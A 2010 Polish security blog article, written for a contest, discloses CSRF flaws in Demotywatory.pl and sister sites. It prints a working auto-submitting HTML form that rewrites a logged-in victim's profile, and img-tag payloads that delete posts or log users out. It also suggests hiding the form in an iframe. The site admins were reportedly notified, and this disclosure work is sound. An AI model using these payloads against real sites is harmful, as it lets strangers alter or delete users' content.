27 września 2010

Luki typu CSRF w serwisie Demotywatory.pl

Zapraszam do zapoznania się z kolejnym artykułem biorącym udział w Urodzinowym Konkursie HCSL, zorganizowanym przez serwis HARD CORE SECURITY LAB oraz firmę Securitum. Odkrywcą poniższych luk CSRF (ang. Cross-site request forgery) obecnych w serwisie Demotywatory.pl oraz autorem poniższego opracowania jest Marcin Koperkiewicz (użytkownik Gmaila: r9skull).

Ostatnio przechadzając się po demotywatorach natknąłem się na formularz służący do edytowania profilu. Wrodzona ciekawość kazała mi sprawdzić czy jest on podatny na powszechne ataki XSS i CSRF. Na te pierwsze serwis jest odporny natomiast na te drugie... no cóż, pokażę Wam co możemy zrobić.

Formularz nie jest zabezpieczony żadnymi ukrytymi inputami ze zmienną wartością (przypisywaną np. do sesji) przez co jest podatny na atak. Poniżej przedstawiam Wam kod, który jest w stanie zmienić informacje profilowe osoby, która jest zalogowana w serwisie Demotywatory.pl i odwiedzi odpowiednio przygotowaną przez nas stronę:

<html>
<body>
<form name="return" method="post"
action="http://demotywatory.pl/user/migajek/editprofile">
<input type="hidden" name="gadugadu" value="1337" />
<input type="hidden" name="avatarurl"
value="http://static0.blip.pl/user_generated/avatars/1033972_large.jpg" />
<input type="hidden" name="description" value="Pozdrowienia dla HCSL" />
</form>
<script language="JavaScript" type="text/javascript">
document.return.submit();
</script>
</body>
</html>

Jak widać, możemy zmienić awatara, numer Gadu-gadu oraz pole O sobie. Zwróćcie uwagę na pole action. Każdy użytkownik, gdy tylko chce zmienić swój profil wysyła odpowiednie dane pod adres http://demotywatory.pl/user/migajek/editprofile. Co ciekawe Migajek to... twórca Demotywatorów. Trochę to dziwne, no ale cóż – nie ja za to odpowiadam.

Wracając do formularza – osoba, która wejdzie na taką stronę od razu zostanie przekierowana na stronę demotywatorów. Jeśli chcecie tego uniknąć, wystarczy wrzucić stronę w iframe. Tutaj chcę jeszcze dodać, że w ten sposób nie można zmienić hasła konta, czy też je usunąć. Do zmiany hasła nie trzeba znać hasła, ale twórcy zastosowali zabezpieczenie przed CSRF (dlatego dziwię się, że pozostała część jest podatna). Co do zamknięcia konta – trzeba znać hasło.

Znalazłem jeszcze jedną lukę CSRF w serwisie. Umożliwia ona usunięcie dowolnego demota. Wystarczy umieścić poniższy kod HTML na stronie:
  • [code]<img src="http://komixxy.pl/pic/delete/{id_demota/komixxu}" />[/code]
W ten sam sposób możemy kogoś wylogować:
  • [code]<img src="http://demotywatory.pl/login/out" />[/code]
Tego typu kod wystarczy umieścić w podpisie, na forum, czy też w ramach postu.

Dodam na koniec, że opisane powyżej luki obecne są we wszystkich stronach widocznych w stopce demotywatorów (testowałem na demotywatory.pl, komixxy.pl i mistrzowie.org).

[Od redakcji]
Redakcja HCSL stanowczo sprzeciwia się wszelkim próbom szkodliwego lub złośliwego wykorzystania powyższych informacji. Należy zawsze pamiętać, że zakłócanie pracy serwisów internetowych oraz systemów informatycznych jest przestępstwem.
Celem powyższego opracowania jest zwrócenie uwagi administratorów wspominanych serwisów internetowych na odnalezione przez Marcina luki oraz przekazanie wszystkim czytelnikom HCSL informacji o charakterze edukacyjnym. Redakcja HCSL nigdy nie wykonywała jakichkolwiek ataków lub prób ataków na wyżej wspomniane serwisy.
Administratorzy serwisu Demotywatory.pl zostali powiadomieni o planowanej publikacji artykułu dotyczącego luk bezpieczeństwa obecnych w zarządzanych przez nich serwisach. 

Prawa autorskie
Powyższe opracowanie zostało opublikowane na licencji Creative Commons Uznanie autorstwa-Użycie niekomercyjne 2.5 Polska. Możesz je więc wykorzystać w dowolnym serwisie (wyłącznie niekomercyjnym), jednak wymagamy, aby na początku bądź na końcu publikacji znalazł się następujący zapis:

"Źródło: Tytuł materiału linkujący do oryginalnego wpisu w HCSL (HARD CORE SECURITY LAB) Artykuł powstał w związku z konkursem zorganizowanym przez serwis HARD CORE SECURITY LAB oraz firmę Securitum."